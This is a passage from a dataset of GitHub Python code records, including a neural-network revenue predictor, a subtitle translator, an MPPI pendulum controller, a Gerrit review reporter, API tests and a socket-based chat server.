end=end)\n .filter_('asetpts', 'PTS-STARTPTS')\n )\n\n video = ffmpeg.trim(raw, start=start, end=end)\n video = video.setpts('PTS-STARTPTS')\n\n video_list.append(video)\n audio_list.append(audio)\n\n if (i == len(shuffled) - 1):\n for i in range(len(video_list)):\n merge_list.append(video_list[i])\n merge_list.append(audio_list[i])\n\n stream = ffmpeg.concat(*merge_list, v=1, a=1)\n stream = ffmpeg.output(stream, 'new.mp4')\n stream.run()\n\nif __name__ == \"__main__\":\n main()","repo_name":"BauhausUniversity/cuttlefish","sub_path":"detective/detective.py","file_name":"detective.py","file_ext":"py","file_size_in_byte":3513,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"40225618849","text":"'''\r\nmodule containing all functions related to a nerual network to predict revenue with\r\nregression. Training, testing, and evaluating models are methods in this module.\r\n'''\r\n\r\nimport argparse\r\nimport os\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom utils.misc import stringify_model, plot_history, plot_predictions, inverse_transform, generate_data, create_df, create_interactive_plot\r\nfrom sklearn.metrics import r2_score\r\nfrom tensorflow.keras import Input\r\nfrom tensorflow.keras.callbacks import ModelCheckpoint\r\nfrom tensorflow.keras.layers import Dense\r\nfrom tensorflow.keras.models import Sequential\r\nfrom tensorflow.random import set_seed\r\n\r\nset_seed(18)\r\n\r\ndef neural_network(layers):\r\n '''\r\n build multilayer perceptron based on `layers`\r\n '''\r\n model = Sequential()\r\n model.add(Input(shape=(layers[0],)))\r\n for number_nodes in layers[1:]:\r\n model.add(Dense(number_nodes, activation=\"relu\"))\r\n # model.add(Dense(number_nodes, kernel_initializer=\"normal\", activation=\"relu\"))\r\n model.add(Dense(1, activation=\"linear\")) # one node for regression\r\n return model\r\n\r\ndef build_model(layers, loss_function=\"mean_squared_error\"):\r\n '''\r\n top level function to build MLP and plot the model parameters\r\n '''\r\n model = neural_network(layers)\r\n model.compile(loss=loss_function, optimizer=\"adam\", metrics=[loss_function])\r\n print(model.summary())\r\n return model\r\n\r\ndef get_layers_from_file(path):\r\n '''\r\n return the layers as a list of integers based on the `path`\r\n '''\r\n # all weights are formatted in \"path/to/nn-{norm-}27-{H1}-{H2...}-1-weights.h5\"\r\n # so we split by the path, then split by \"-\" and only take the layers, then remove the \r\n # output layer\r\n layers = [int(val) for val in path.split(\"/\")[-1].split(\"-\") if val.isdigit()][:-1]\r\n return layers\r\n\r\ndef train(layers, loss_function, show_preds=False, scale_input=True):\r\n '''\r\n method for training FuriosaNet\r\n\r\n Parameters\r\n ==========\r\n `layers`:\r\n list of specified number of neurons per layer\r\n '''\r\n\r\n # generate data with scaled input\r\n x_train, x_test, y_train, y_test, _, scalar_y, dataset, _ = generate_data(\"dbs/data_2010s.csv\", scale_input=scale_input)\r\n # x_train, x_test, y_train, y_test, _, scalar_y, dataset, _ = generate_data(\r\n # \"dbs/data_2010s.csv\", drop_features=['title', 'tmdb_id', 'year', 'view_count', 'like_count', 'dislike_count', 'comment_count'])\r\n # define normalization string for specifying saved filed\r\n normalization = \"\"\r\n if scale_input:\r\n normalization = \"-norm\"\r\n # define the layers of the model, excluding the output layer\r\n layers = [x_train.shape[1]] + layers\r\n # call the function that will build the model\r\n model = build_model(layers, loss_function=loss_function)\r\n # define what weights we want to save and how we want to save them\r\n callback = ModelCheckpoint(\r\n filepath=f\"weights/nn{normalization}-{loss_function}-{stringify_model(layers)}-1-weights.h5\",\r\n verbose=1,\r\n save_best_only=True,\r\n monitor=\"val_\" + loss_function,\r\n save_weights_only=True\r\n )\r\n\r\n # train the network\r\n results = model.fit(\r\n x_train, y_train,\r\n batch_size=50,\r\n epochs=100,\r\n validation_data=(x_test, y_test),\r\n callbacks=[callback]\r\n )\r\n\r\n # plot the history of the model based on the loss_function\r\n plot_history(results, layers, loss_function, norm=normalization)\r\n\r\n if show_preds:\r\n # get the rescaled predictions\r\n predictions, actual_values = inverse_transform(model.predict(x_test), y_test, scalar_y)\r\n # plot the predictions and get the r-squared value of the model\r\n r_squared = r2_score(predictions, actual_values)\r\n plot_predictions(predictions, actual_values, r_squared, layers=layers, norm=normalization)\r\n\r\ndef test(weights_file, layers, data_file=\"dbs/data_2010s.csv\", create_fig=True, show_fig=True, scale_input=True):\r\n '''\r\n test a model with specified `layers` architecture using the `weights_file`\r\n\r\n Parameters\r\n ==========\r\n `weights_file`:\r\n path to the .h5 file containing the pretrained weights\r\n\r\n `layers`:\r\n list of integer values specifying the number of nodes at the each hidden layer\r\n except the final layer\r\n\r\n Keyword Args:\r\n ==========\r\n `show_fig`:\r\n default True; display graph of actual values vs predictions\r\n\r\n Returns\r\n ==========\r\n (predictions, actual_values, dataset, test_indices)\r\n '''\r\n _, x_test, _, y_test, _, scalar_y, dataset, test_indices = generate_data(\r\n data_file, scale_input=scale_input)\r\n # _, x_test, _, y_test, _, scalar_y, dataset, _ = generate_data(\r\n # \"dbs/data_2010s.csv\", drop_features=['title', 'tmdb_id', 'year', 'view_count', 'like_count', 'dislike_count', 'comment_count'])\r\n model = build_model(layers)\r\n model.load_weights(weights_file)\r\n predictions, actual_values = inverse_transform(model.predict(x_test), y_test, scalar_y)\r\n r_squared = r2_score(predictions, actual_values)\r\n\r\n if create_fig:\r\n plot_predictions(\r\n predictions, actual_values, r_squared, layers=layers, best=\"best-\", save_fig=True, show_fig=show_fig)\r\n df = create_df(predictions, dataset, test_indices)\r\n create_interactive_plot(df, model=layers)\r\n\r\n return predictions, actual_values, dataset, test_indices\r\n\r\ndef evaluate(metric, weights_folder, save_table=True, create_fig=False):\r\n '''\r\n method that will compare all models from a specified `weights_folder`\r\n based on `metric`\r\n\r\n Parameters\r\n ==========\r\n `metric`:\r\n metric to evaluate models\r\n\r\n `weights_folder`:\r\n path to fodler containing the weights of model which are meant to be modeled.\r\n '''\r\n metric_functions = {\r\n \"r-squared\": r2_score,\r\n }\r\n predictions = None\r\n _, x_test, _, y_test, _, scalar_y, dataset, _ = generate_data(\"dbs/data_2010s.csv\", scale_input=True)\r\n\r\n models = dict()\r\n weights_files = [weights for weights in os.listdir(weights_folder)]\r\n for weights_file in weights_files:\r\n layers = get_layers_from_file(weights_file)\r\n model = build_model(layers)\r\n model.load_weights(os.path.join(weights_folder, weights_file))\r\n predictions, actual_values = inverse_transform(model.predict(x_test), y_test, scalar_y)\r\n r2 = metric_functions[metric](actual_values, predictions)\r\n if create_fig:\r\n # TODO: plot get some plottable points to be layers on one graph\r\n print()\r\n models[weights_file] = r2\r\n\r\n # TODO: show points plotted by each model maybe?\r\n if create_fig:\r\n print()\r\n if save_table:\r\n pd.DataFrame.from_dict(\r\n models, orient='index', columns=[\"r-squared\"]).to_csv(\"model-evaluation.csv\")\r\n else:\r\n print(f\"{'Model':^40s}| {metric}\")\r\n for k in models:\r\n print(f\"{k:^40s}| {models[k]:0.3f}\")\r\n return models\r\n\r\ndef main():\r\n parser = argparse.ArgumentParser(description='FuriosaNet model')\r\n parser.add_argument(\r\n 'mode',\r\n choices=['train', 'test', 'evaluate'],\r\n help=\"Mode in which the model should be run\"\r\n )\r\n parser.add_argument(\r\n '-weights',\r\n type=str,\r\n help=\"If testing, path of saved weights\"\r\n )\r\n parser.add_argument(\r\n '-layers',\r\n type=str,\r\n default=\"50,100\",\r\n help=\"If training, comma separated values defining the size of each hidden layer\"\r\n )\r\n parser.add_argument(\r\n '-loss',\r\n type=str,\r\n default=\"mean_squared_error\",\r\n help=\"loss function to monitor. Default: mean_squared_error\"\r\n )\r\n parser.add_argument(\r\n '-weightsfolder',\r\n type=str,\r\n default=\"/weights\",\r\n help=\"if evaluating, folder containing the weights that are to be compared\"\r\n )\r\n parser.add_argument(\r\n '-by', '-evaluateby',\r\n choices=['r-squared'],\r\n default='r-squared',\r\n help=\"If evaluating, metric by which to compare models. Deafult: r-squared\"\r\n )\r\n args = parser.parse_args()\r\n\r\n if args.mode == 'test':\r\n layers = get_layers_from_file(args.weights)\r\n test(args.weights, layers)\r\n elif args.mode == 'evaluate':\r\n evaluate(args.by, args.weightsfolder)\r\n else:\r\n train([int(val) for val in args.layers.split(\",\")], args.loss)\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"jklewis99/furiosa","sub_path":"furiosanet.py","file_name":"furiosanet.py","file_ext":"py","file_size_in_byte":8621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21631827609","text":"\n# Floyds Tortoise and Hare algo\n\nclass Solution:\n def detectCycle(self, head: Optional[ListNode]) -> Optional[ListNode]:\n if head is None or head.next is None:\n return None\n tortoise = head\n hare = head\n\n while hare is not None and hare.next is not None:\n tortoise = tortoise.next\n hare = hare.next.next\n if hare is tortoise:\n break\n\n if hare is None or hare.next is None:\n return None\n\n hare = head\n while hare is not tortoise:\n hare = hare.next\n tortoise = tortoise.next\n\n return hare\n","repo_name":"AliNisarAhmed/algo-ds-practice","sub_path":"python/leetcode/linked-list/cycle2.py","file_name":"cycle2.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"22479863700","text":"import asyncio\n\n\nclass DataServer:\n \"\"\"\n A class for sending data over the network (via TCP).\n Listens to incoming TCP request and responds with data from data_fun.\n\n Attributes:\n host (string): The IP address to host the server on (probably the address of this machine)\n port (int): Which network port to listen for requests on.\n data_fun (function): The function called for retrieving what data to send.\n \"\"\"\n\n def __init__(self, host, port, data_fun):\n self.data_fun = data_fun\n self.host = host\n self.port = port\n\n async def handle_client(self, reader, writer):\n \"\"\"Handles incoming client TCP requests.\n\n :param reader:\n :param writer:\n :returns: None\n \"\"\"\n request = None\n while request != \"quit\\n\":\n request = (await reader.read(255)).decode(\"utf8\")\n response = str(self.data_fun()) + \"\\n\"\n print(\"Request: \" + repr(request))\n print(\"Response: \" + repr(response))\n writer.write(response.encode(\"utf8\"))\n await writer.drain()\n\n writer.write(\"Closing connection!\".encode(\"utf8\"))\n await writer.drain()\n writer.close()\n\n async def run_server(self):\n server = await asyncio.start_server(self.handle_client, self.host, self.port)\n async with server:\n await server.serve_forever()\n","repo_name":"Cosmic-Goat/Track-O-Tron","sub_path":"rpi/net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40719529606","text":"import os\nfrom googletrans import Translator\n\n# Define file paths and names\nfile_path = r\"C:\\Users\\Amirh\\Desktop\"\nfile_name1 = \"Rick.and.Morty.S06E03.720p.WEBRip.x264-BAE.srt\"\nfile_name2 = \"Rick.and.Morty.S06E03.720p.WEBRip.x264-BAE.srt\"\n\n# Define a list of numbers to identify subtitle lines (if needed)\nnums = [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"]\n\n# Initialize the translator object\ntranslator = Translator()\n\n# Read the original subtitle file\nwith open(os.path.join(file_path, file_name1)) as subtitle_file:\n # Get all the subtitle lines\n subtitle_lines = subtitle_file.readlines()\n\n# Open the output file for writing translated subtitles\nwith open(os.path.join(file_path, file_name2), \"w\", encoding=\"utf-8\") as output_file:\n for line in subtitle_lines:\n # If the first character of the line is a number, write it as is\n if line[0] in nums:\n output_file.write(line)\n # If the line is empty, write a new line character\n elif line == \"\\n\":\n output_file.write(\"\\n\")\n else:\n # Translate the rest of the lines from English to Persian\n if line:\n # If the line is not empty, translate it using the Google Translate API.\n translated_line = translator.translate(line, src=\"en\", dest=\"fa\")\n if \"gt;\" in translated_line.text:\n # If \"gt;\" appears in the translation, remove it.\n corrected_line = translated_line.replace(\"gt;\", \"\")\n output_file.write(corrected_line.text + \"\\n\")\n else:\n # Otherwise, write the translated line to the output file followed by a new line character.\n output_file.write(translated_line.text + \"\\n\")\n # Write a new line character after the last subtitle line\n output_file.write(\"\\n\")\n","repo_name":"Amirhossein77-98/Sub-Translator","sub_path":"Sub-Translator.py","file_name":"Sub-Translator.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23999377378","text":"from random import randint\r\n\r\ndef playerInputcheck():\r\n while(True):\r\n try:\r\n PlayerInput = int(input('Write your number : '))\r\n if(PlayerInput < 0):\r\n print('Type number > 0')\r\n else: break\r\n except:\r\n print('You should type a number')\r\n return PlayerInput\r\n\r\ndef Boundaries(pl): \r\n min = randint(0,pl)\r\n max = randint(pl, pl+1000)\r\n print(f'Number between {min} and {max}')\r\n return min,max,pl\r\n\r\ndef pcGues(bound):\r\n pc = randint(bound[0],bound[1])\r\n pl = bound[2]\r\n max = bound[1]\r\n min = bound[0]\r\n count = 1\r\n while(pc!=pl):\r\n print('pc gues is ',pc)\r\n if(pcpl):\r\n max = pc\r\n pc = int(round((pc+min)/2))\r\n count+=1\r\n print(\"Computer guess your number it is \",pc,f' by {count} turns')\r\n\r\npcGues(Boundaries(playerInputcheck()))","repo_name":"IlonWaine/py_basic_projects","sub_path":"Computer_GuessNumber.py","file_name":"Computer_GuessNumber.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15612411918","text":"import gym\nimport numpy as np\nimport torch\nimport logging\nimport math\nfrom pytorch_mppi import mppi\nfrom gym import wrappers, logger as gym_log\n\ngym_log.set_level(gym_log.INFO)\nlogger = logging.getLogger(__name__)\nlogging.basicConfig(level=logging.DEBUG,\n format='[%(levelname)s %(asctime)s %(pathname)s:%(lineno)d] %(message)s',\n datefmt='%m-%d %H:%M:%S')\n\nif __name__ == \"__main__\":\n ENV_NAME = \"Pendulum-v0\"\n TIMESTEPS = 15 # T\n N_SAMPLES = 100 # K\n ACTION_LOW = -2.0\n ACTION_HIGH = 2.0\n\n d = \"cpu\"\n dtype = torch.double\n\n noise_sigma = torch.tensor(10, device=d, dtype=dtype)\n # noise_sigma = torch.tensor([[10, 0], [0, 10]], device=d, dtype=dtype)\n lambda_ = 1.\n\n\n def dynamics(state, perturbed_action):\n # true dynamics from gym\n th = state[:, 0].view(-1, 1)\n thdot = state[:, 1].view(-1, 1)\n\n g = 10\n m = 1\n l = 1\n dt = 0.05\n\n u = perturbed_action\n u = torch.clamp(u, -2, 2)\n\n newthdot = thdot + (-3 * g / (2 * l) * np.sin(th + np.pi) + 3. / (m * l ** 2) * u) * dt\n newth = th + newthdot * dt\n newthdot = torch.clamp(newthdot, -8, 8)\n\n state = torch.cat((newth, newthdot), dim=1)\n return state\n\n\n def angle_normalize(x):\n return (((x + math.pi) % (2 * math.pi)) - math.pi)\n\n\n def running_cost(state, action):\n theta = state[:, 0]\n theta_dt = state[:, 1]\n action = action[:, 0]\n cost = angle_normalize(theta) ** 2 + 0.1 * theta_dt ** 2\n return cost\n\n\n def train(new_data):\n pass\n\n\n downward_start = True\n env = gym.make(ENV_NAME).env # bypass the default TimeLimit wrapper\n env.reset()\n if downward_start:\n env.state = [np.pi, 1]\n\n env = wrappers.Monitor(env, '/tmp/mppi/', force=True)\n env.reset()\n if downward_start:\n env.env.state = [np.pi, 1]\n\n nx = 2\n mppi_gym = mppi.MPPI(dynamics, running_cost, nx, noise_sigma, num_samples=N_SAMPLES, horizon=TIMESTEPS,\n lambda_=lambda_)\n total_reward = mppi.run_mppi(mppi_gym, env, train)\n logger.info(\"Total reward %f\", total_reward)\n","repo_name":"UM-ARM-Lab/pytorch_mppi","sub_path":"tests/pendulum.py","file_name":"pendulum.py","file_ext":"py","file_size_in_byte":2184,"program_lang":"python","lang":"en","doc_type":"code","stars":277,"dataset":"github-code","pt":"67"} +{"seq_id":"73073375892","text":"\"\"\"\n* Project Name: AngelDocs\n* File Name: conftest.py\n* Programmer: Kai Prince\n* Date: Tue, Apr 13, 2021\n* Description: This file contains config for tests.\n\"\"\"\nimport os\nimport pytest\nimport shutil\n\n\n@pytest.fixture(autouse=True)\ndef test_files_dir(tmp_path, request):\n \"\"\" Copy mock files to temp directory. \"\"\"\n path_of_current_module = request.fspath.dirname\n FILES_FOLDER = os.path.join(path_of_current_module, \"sample\")\n\n # Copy files in test uploads folder to temp directory\n shutil.copytree(FILES_FOLDER, tmp_path, dirs_exist_ok=True)\n\n yield tmp_path\n\n # Teardown\n\n\n@pytest.fixture(scope=\"function\")\ndef change_test_dir(request, tmp_path):\n os.chdir(tmp_path)\n yield os.chdir\n os.chdir(request.config.invocation_dir)","repo_name":"KaiPrince/AngelDocs","sub_path":"src/angel-docs/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35135910203","text":"#!/usr/bin/env python3\n\n'''Create a report of which open gerrits match which maintainers'''\n\nimport re\nimport sys\nimport json\nimport argparse\nimport fnmatch\nimport datetime\nfrom io import StringIO\nimport dateutil.parser\nimport requests\n\n\n# TODO:\n# 1. Cache CHANGES and MAINTAINERS files\n# 2. Add reviewers from MAINTAINERS to gerrit patch\n# 3. Send email nag-o-grams to authors?\n# 4. Prettier reports both for maintainers and authors\n# 5. How to deal with unmaintained files and components?\n\ndef get_maintainers_from_git():\n '''Download the MAINTAINERS file from the fd.io repository'''\n maintainers = 'https://git.fd.io/vpp/plain/MAINTAINERS'\n response = requests.get(maintainers)\n if response.status_code == 200:\n return response.text.splitlines()\n return None\n\n\ndef process_maintainers(text):\n '''Parse MAINTAINERS file'''\n features = {}\n feature = {}\n for line in text:\n line = line.rstrip()\n if not line:\n # Save previous feature\n if feature:\n features[feature['I']] = feature\n feature = {}\n continue\n m = re.search('^([IFMCYE]):\\\\s+(.*)', line)\n if m:\n tag = m.group(1)\n data = m.group(2)\n if tag in feature:\n if isinstance(feature[tag], list):\n feature[tag].append(data)\n else:\n feature[tag] = [feature[tag], data]\n else:\n feature[tag] = data\n else:\n if feature:\n feature['description'] = line\n\n features[feature['I']] = feature\n\n maintainers = {}\n for _, v in features.items():\n if 'M' not in v:\n print('*** missing maintainer for:', v['I'], v, file=sys.stderr)\n continue\n if isinstance(v['F'], list):\n for fl in v['F']:\n maintainers[fl] = v['I']\n else:\n maintainers[v['F']] = v['I']\n return features, maintainers\n\n\ndef get_component_from_filename(maintainers, filename, debug=False):\n '''Return the maintainer of a given file'''\n longest_match = 0\n m = None\n for k in maintainers:\n if '*' in k:\n if fnmatch.fnmatch(filename, k):\n if len(k) > longest_match:\n longest_match = len(k)\n m = maintainers[k]\n continue\n if filename.startswith(k):\n if len(k) > longest_match:\n longest_match = len(k)\n m = maintainers[k]\n\n return m\n\n\ndef get_is_verified(change):\n '''Return true if patch has been verified'''\n if 'approved' in change['labels']['Verified']:\n return True\n return False\n\n\ndef match_maintainer(mlist, name):\n '''Return true if maintainer is in list'''\n if isinstance(mlist, list):\n for m in mlist:\n if m.startswith(name):\n return True\n else:\n if mlist.startswith(name):\n return True\n\n return False\n\n\ndef is_reviewed(feature, reviews):\n '''Get reviewers'''\n for k, v in reviews.items():\n if isinstance(v, dict):\n if 'display_name' in v:\n name = v['display_name']\n else:\n name = v['name']\n\n # Is person a reviewer of given feature?\n if match_maintainer(feature['M'], name):\n return True, feature['M'], k\n\n return False, feature['M'], None\n\n\ndef process_reviews(features, reviews, components):\n '''Find reviews'''\n r = {}\n for c in components:\n reviewed, reviewers, result = is_reviewed(features[c], reviews)\n if reviewed:\n if result in ('approved', 'liked', 'recommended'):\n continue\n r[c] = {'review': result, 'by': reviewers}\n return r\n\n\nauthorstream = {}\nmaintainerstream = {}\ncommitterstream = {}\n\n\ndef get_stream(assigneetype, name):\n '''Put different assignees on different IO streams for reporting'''\n if assigneetype == 'author':\n st = authorstream\n elif assigneetype == 'maintainer':\n st = maintainerstream\n elif assigneetype == 'committer':\n st = committerstream\n else:\n raise ValueError()\n\n if name not in st:\n st[name] = StringIO()\n return st[name], True\n return st[name], False\n\n\nlegend = '''\nDescription:\n============\nM - mergable m - merge conflict\nV - verified v - not verified\nE - not expired e - expired\nR - reviewed r - not reviewed\nS - submittable s - not submittable\n'''\n\ndef print_report(report):\n '''Sort by author / component or committable'''\n no_authors = 0\n no_committers = 0\n no_maintainers = 0\n for r in report:\n if r['assignee'] == 'author':\n st, new = get_stream(r['assignee'], r['owner'])\n st.write(f' {r[\"number\"]} [{r[\"status\"]} {r[\"last_updated_days\"]}]: {r[\"subject\"]}\\n')\n no_authors += 1\n elif r['assignee'] == 'maintainer':\n # Report patch on all involved components\n if r['missing_reviews_from']:\n for c in r['missing_reviews_from']:\n st, new = get_stream(r['assignee'], c)\n if new:\n maintainers = r['missing_reviews_from'][c]['by']\n if isinstance(maintainers, list):\n maintainers = ','.join(maintainers)\n st.write(f'{c}: {maintainers}\\n')\n st.write(f' {r[\"number\"]} [{r[\"status\"]} {r[\"last_updated_days\"]}]: {r[\"subject\"]}\\n')\n else:\n st, new = get_stream(r['assignee'], \"unknown maintainer\")\n if new:\n st.write('unknown maintainer:\\n')\n st.write(f'{r[\"number\"]} [{r[\"status\"]} {r[\"last_updated_days\"]}]: {r[\"subject\"]}\\n')\n no_maintainers += 1\n elif r['assignee'] == 'committer':\n no_committers += 1\n st, new = get_stream(r['assignee'], 'committer')\n st.write(f' {r[\"number\"]} [{r[\"status\"]} {r[\"last_updated_days\"]}]: {r[\"subject\"]}\\n')\n else:\n print('***UNKNOWN ASSIGNEE***', file=sys.stderr)\n\n print(legend)\n\n print('COMMITTERS:')\n print('===========')\n for _, st in committerstream.items():\n print(st.getvalue())\n print('MAINTAINERS:')\n print('============')\n for st in sorted(maintainerstream):\n print(maintainerstream[st].getvalue())\n print('AUTHORS:')\n print('========')\n for st in sorted(authorstream):\n print(f'{st}:')\n print(authorstream[st].getvalue())\n\n print(legend)\n\n print('Patches assigned:')\n print(' authors:', no_authors)\n print(' maintainers:', no_maintainers)\n print(' committers:', no_committers)\n\n\ndef main():\n '''Gerrit queue reporting tool.\n\n For each patch in the Gerrit VPP queue assign the patch to either the\n author, the maintainers or to the committers.\n\n If a patch is not verified, or it is not mergeable or it has a negative\n review or it is not updated for the last 30 days its assigned to an author.\n\n For review: If a patch is missing reviews from any of the affected\n components assign the patch to the maintainers.\n\n For submitting: If a patch is ready to merge assign the patch to the\n committers.\n\n '''\n parser = argparse.ArgumentParser(description='VPP Gerrit review tool')\n parser.add_argument('--maintainers-file', type=argparse.FileType('r'),\n required=True)\n parser.add_argument('--changes-file', type=argparse.FileType('r'),\n required=True)\n args = parser.parse_args()\n\n # MAINTAINERS\n features, maintainers = process_maintainers(args.maintainers_file)\n\n # Gerrit Queue\n # Download from gerrit or load from file\n c = json.load(args.changes_file)\n\n # Assign current assignee for a change:\n report = []\n for change in c:\n s = {}\n s['is_mergeable'] = change['mergeable']\n s['is_submittable'] = change['submittable']\n s['is_verified'] = get_is_verified(change)\n s['subject'] = change['subject']\n s['unresolved_comment_count'] = change['unresolved_comment_count']\n s['has_review_started'] = change['has_review_started']\n if 'display_name' in change['owner']:\n s['owner'] = change['owner']['display_name']\n else:\n s['owner'] = change['owner']['name']\n s['number'] = change['_number']\n\n reviews = change['labels']['Code-Review']\n last_updated = dateutil.parser.parse(change['updated'])\n s['last_updated_days'] = (datetime.datetime.now() - last_updated).days\n\n # Find maintainer\n rev = next(iter(change['revisions']))\n files = change['revisions'][rev]['files']\n components = {}\n\n for f in files:\n component = get_component_from_filename(maintainers, f)\n #print('COMPONENT', component, f)\n if not component:\n print(f'*** maintainer not found for: {f}', file=sys.stderr)\n else:\n if component not in components:\n components[component] = 1\n else:\n components[component] += 1\n\n # Find missing reviews\n s['missing_reviews_from'] = process_reviews(features, reviews, components)\n\n # Find assignee\n status = ''\n assignee = 'author'\n status += 'M' if s['is_mergeable'] else 'm'\n status += 'V' if s['is_verified'] else 'v'\n status += 'E' if s['last_updated_days'] <= 30 else 'e'\n\n if status.isupper(): # Author has done all required\n assignee = 'maintainer'\n status += 'r' if s['missing_reviews_from'] else 'R'\n status += 'S' if s['is_submittable'] else 's'\n\n if not s['missing_reviews_from']:\n assignee = 'committer'\n\n s['assignee'] = assignee\n s['status'] = status\n report.append(s)\n\n print_report(report)\n\n\nif __name__ == '__main__':\n sys.exit(main())\n","repo_name":"otroan/gerrit-review","sub_path":"review.py","file_name":"review.py","file_ext":"py","file_size_in_byte":10082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15806796837","text":"\nimport requests\n\ndef sendRequest(**params):\n\n method = params.get(\"method\", \"\")\n url = params.get(\"url\", \"\")\n headers = params.get(\"header\", {})\n body = params.get(\"body\", {})\n if method == \"GET\":\n response = requests.get(url, headers=headers)\n elif method == \"POST\":\n response = requests.post(url, headers = headers, data=body)\n elif method == \"PUT\":\n response = requests.put(url, data=body)\n elif method == \"DELETE\":\n response = requests.delete(url, headers=headers, data=body)\n return response\n","repo_name":"fj11/APIClinic","sub_path":"src/restapi/lib/httplib.py","file_name":"httplib.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71729749972","text":"'''\n# 使用注册完的用户登录\n# 注册用户>>登录>>充值1000>>取现100\n'''\nimport mock\nimport requests,random,pytest\n\n# 注册18888899999\n# register_data = [\n# {\n# {\"data\": {\"mobilephone\": 18888899999, \"pwd\": \"123456\", \"regname\": \"leiming\"},\n# \"expect\": {\"status\": 1, \"code\": \"10001\"}\n# }\n# ]\n\n# 注册并断言注册结果\ndef test_register():\n url = \"http://jy001:8081/futureloan/mvc/api/member/register\"\n register_data={\"mobilephone\": 15288899999, \"pwd\": \"123456\"}\n r = requests.post(url, data=register_data)\n assert r.json()['status'] == 1\n assert r.json()['code'] == \"10001\"\n\n\n# 登录数据,包含登录信息和预期结果信息\n# login_data = [\n# {\"data\": {\"mobilephone\": 18888899999, \"pwd\": \"123456\"},\n# \"expect\": {\"status\": 1,\"code\": \"10001\"}}\n# ]\n#\n# @pytest.fixture(scope='function')\ndef test_login():\n url = \"http://jy001:8081/futureloan/mvc/api/member/login\"\n # r = requests.post(url, data=login_data['data'])\n # assert r.json()['status'] == login_data['expect']['status']\n # assert r.json()['code'] == login_data['expect']['code']\n login_data ={\"mobilephone\": 15288899999, \"pwd\": \"123456\"}\n r = requests.post(url, data=login_data)\n assert r.json()['status'] == 1\n assert r.json()['code'] == \"10001\"\n\n\n# 充值\n# recharge_data = [\n# {\"data\": {\"mobilephone\": 18888899999, \"amount\": 88888},\n# \"expect\": {\"status\": 1,\"code\": \"10001\"}}\n# ]\ndef test_recharge():\n url = \"http://jy001:8081/futureloan/mvc/api/member/recharge\"\n # r = requests.post(url, data=recharge_data['data'])\n # assert r.json()['status'] == recharge_data['expect']['status']\n # assert r.json()['code'] == recharge_data['expect']['code']\n recharge_data = {\"mobilephone\": 15288899999, \"amount\": 88888}\n r = requests.post(url, data=recharge_data)\n assert r.json()['status'] == 1\n assert r.json()['code'] == \"10001\"\n\n\n# 提现\n# withdraw_data = [\n# {\"data\": {\"mobilephone\": 18888899999, \"amount\": 9999},\n# \"expect\": {\"status\": 1,\"code\": \"10001\"}}\n# ]\n\n\n\ndef test_withdraw():\n url = \"http://jy001:8081/futureloan/mvc/api/member/withdraw\"\n # r = requests.post(url, data=withdraw_data['data'])\n # assert r.json()['status'] == withdraw_data['expect']['status']\n # assert r.json()['code'] == withdraw_data['expect']['code']\n res = mock.Mock(return_value={\"status\": 1, \"code\": 10001})\n withdraw_data = {\"mobilephone\": 15288899999, \"amount\": 9999}\n r = requests.post(url, data=withdraw_data)\n\n assert res['status'] == 1\n assert res['code'] == \"10001\"","repo_name":"leiming120231/ApiAutoTest","sub_path":"day02/test_withdraw.py","file_name":"test_withdraw.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9375265079","text":"\"\"\"\nAbstraction of the networking. Used to parse packages to usable format, etcetera.\n\n\"\"\"\n\nfrom .errors import NAME_IN_USE_ERROR, INVALID_PACKET\nfrom .packet import packet_decode, packet_encode, new_user_packet, identify_response, message_packet\nfrom .user import User\n\nfrom select import select\nfrom socket import socket, AF_INET, SOCK_STREAM\n\nclass Network(object):\n def __init__(self, kwargs):\n self.running = True\n\n self._inbox = {}\n # Inbox is a container for unread messages.\n # Key is the user sending the messages, value is a list of unreads.\n # Supposed to be accessed through helper methods.\n self._generic_inbox = []\n # List of messages that either don't yet have a user to associate them with\n # or come from elsewhere, such as console commands.\n\n self.unverified = {}\n # List of users connected, but never verified.\n # key is socket, value is address-deletable tuple.\n\n # Todo: Handle errors in binding ports\n self.listen_socket = socket(AF_INET, SOCK_STREAM)\n\n self.listen_socket.bind(('', kwargs[\"networking\"][\"port\"]))\n self.listen_socket.listen(10) # enough to prevent weird errors, small enough to prevent ddos.\n\n self.inputs = [self.listen_socket]\n\n def loop(self):\n while self.running:\n\n readable, [], exceptional = select(self.inputs, [], self.inputs, 0.1)\n\n for sock in readable:\n if sock is self.listen_socket:\n client_socket, client_address = sock.accept()\n client_socket.setblocking(0)\n self.inputs.append(client_socket)\n\n # self.unverified.append([connection, client_address, False])\n self.unverified[client_socket] = (client_address, False)\n self._generic_inbox.append(new_user_packet(client_socket, client_address))\n\n else:\n packet = self.get_packet(sock)\n if not packet:\n continue\n if packet == INVALID_PACKET:\n sock.send(packet_encode(INVALID_PACKET))\n\n if sock in self.unverified:\n if packet[\"type\"] == \"identify\":\n if packet[\"name\"] not in [i.name for i in self._inbox]:\n # User with that name doesn't exist.\n 